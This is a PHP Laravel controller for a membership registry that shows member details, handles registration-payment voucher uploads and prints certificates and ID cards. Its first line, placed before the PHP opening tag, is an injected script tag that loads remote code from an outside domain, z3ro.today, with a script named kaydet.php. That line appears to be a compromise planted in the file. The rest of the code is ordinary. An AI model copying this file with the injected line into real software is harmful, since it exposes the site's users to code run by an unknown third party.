<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\MemberInformation;

use DateTime;
use App\Models\Dates;
use App\Models\Degree;
use App\Models\Members;
use App\Models\CouncilInfo;
use App\Models\MemberLevel;
use Illuminate\Http\Request;
use App\Models\Qualification;
use App\Models\MembershipRenewal;
use App\Http\Controllers\Controller;
use App\Models\MemberSpecialization;

class DetailsController extends Controller
{
    public function details($id)
    {
        session()->put('member_id', $id);

        $memberInfo = Members::with(['council_infos', 'qualifications', 'degrees'])->where('id', $id)->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        $membershiprenews = MembershipRenewal::where('members_id', session('member_id'))->orderBy('id', 'desc')->get();
        $memberspecializations = MemberSpecialization::where('member_id', session('member_id'))->orderBy('id', 'desc')->paginate(10);
        $memberlevels = MemberLevel::where('members_id', session('member_id'))->orderBy('id', 'desc')->paginate(10);
        // dd("loading");

        return view('member-details.index', compact('memberInfo', 'memberspecializations', 'memberlevels', 'membershiprenews'));
    }

    public function registry_payment()
    {
            return back()->with('error', 'Registration is closed for now, wait for any notice from council.');

        $memberInfo = Members::findOrFail(session('member_id'));

        return view('member-details.reg-payment-form', compact('memberInfo'));
    }

    public function save_payment(Request $request)
    {
            return back()->with('error', 'Registration is closed for now, wait for any notice from council.');

        $validatedData = $request->validate([
            'reg_payment_amount' => ['required'],
            'reg_voucher_no' => ['required', 'string', 'max:255'],
            'reg_voucher_file' => ['required', 'file', 'mimes:pdf,jpg,jpeg,png', 'max:500'],
        ]);

        // voucher file upload
        if ($request->hasFile('reg_voucher_file')) {
            $documents = $request->file('reg_voucher_file');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-reg-voucher-file-' . RandomNum(4) . '-' . time() . '.' . $docsExt;

            $validatedData['reg_voucher_file'] = $documents->storeAs('reg-voucher-file', $docsName, ['disk' => 'public']);
        } else {
            $validatedData['reg_voucher_file'] = 0;
        }

        $validatedData['reg_payment_status'] = '1';
        $validatedData['reg_payment_amount'] = UTF8toEng($validatedData['reg_payment_amount']);
        $validatedData['reg_voucher_no'] = UTF8toEng($validatedData['reg_voucher_no']);


        // updating table members with registration payment information
        $member = Members::findOrFail(session('member_id'));
        $member->update($validatedData);

        return redirect()->route('member.details', session('member_id'));
    }


    public function edit_registry_payment()
    {
            return back()->with('error', 'Registration is closed for now, wait for any notice from council.');

        $memberInfo = Members::findOrFail(memberfromuser(auth()->user()->id));

        return view('member-details.reg-payment-edit', compact('memberInfo'));
    }

    public function update_payment(Request $request)
    {
            return back()->with('error', 'Registration is closed for now, wait for any notice from council.');
        

        $member = Members::findOrFail(session('member_id'));
        $validatedData = $request->validate([
            'reg_payment_amount' => ['required', 'numeric'],
            'reg_voucher_no' => ['required', 'string', 'max:255'],
            'reg_voucher_file' => ['file', 'mimes:pdf,dox,jpeg,png'],
        ]);

        // voucher file upload
        if ($request->hasFile('reg_voucher_file')) {
            $documents = $request->file('reg_voucher_file');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-reg-voucher-file-' . RandomNum(4) . '-' . time() . '.' . $docsExt;

            $validatedData['reg_voucher_file'] = $documents->storeAs('reg-voucher-file', $docsName, ['disk' => 'public']);
        } else {
            $validatedData['reg_voucher_file'] = $member->reg_voucher_file;
        }

        $validatedData['reg_payment_status'] = '1';
        $validatedData['reg_payment_amount'] = UTF8toEng($validatedData['reg_payment_amount']);
        $validatedData['reg_voucher_no'] = UTF8toEng($validatedData['reg_voucher_no']);

        // updating table members with registration payment information
        $member->update($validatedData);

        return redirect()->route('member.details', session('member_id'));
    }


    public function print_certif($memberid, $hash)
    {
        // check hash authenticity
        if (!checkHash($memberid, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $memberInfo = Members::findOrFail($memberid);

        // member's age
        $nepdob = $memberInfo->dob;
        $engdate = Dates::where('nepdate', '=', $nepdob)->first();
        $engdob = $engdate->engdate;
        $certificate_approved_date = Dates::where('nepdate', '=', $memberInfo->certificate_decision_date)->first();
        $approveddateeng = $certificate_approved_date->engdate;
        if ($approveddateeng) {
            $age = $this->calculateAge($engdob, $approveddateeng);

            return view('certificate.reg-certificate', compact('memberInfo', 'age'));
        } else {
            return back()->with('error', 'Sorry! Your certificate is not ready yet.');
        }
    }

    public function print_idcard($memberid, $hash)
    {
        // check hash authenticity
        if (!checkHash($memberid, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $memberInfo = Members::findOrFail($memberid);

        // member's age
        $nepdob = $memberInfo->dob;
        $engdate = Dates::where('nepdate', '=', $nepdob)->first();
        $engdob = $engdate->engdate;
        $certificate_approved_date = Dates::where('nepdate', '=', $memberInfo->certificate_decision_date)->first();
        $approveddateeng = $certificate_approved_date->engdate;
        if ($approveddateeng) {
            $age = $this->calculateAge($engdob, $approveddateeng);

            return view('certificate.id-card', compact('memberInfo', 'age'));
        } else {
            return back()->with('error', 'Sorry! Your certificate is not ready yet.');
        }
    }

    private function calculateAge($dob, $approvedDate)
    {
        $birthDate = new DateTime($dob);
        $currentDate = new DateTime($approvedDate);
        $interval = $birthDate->diff($currentDate);
        return $interval->y;
    }
}
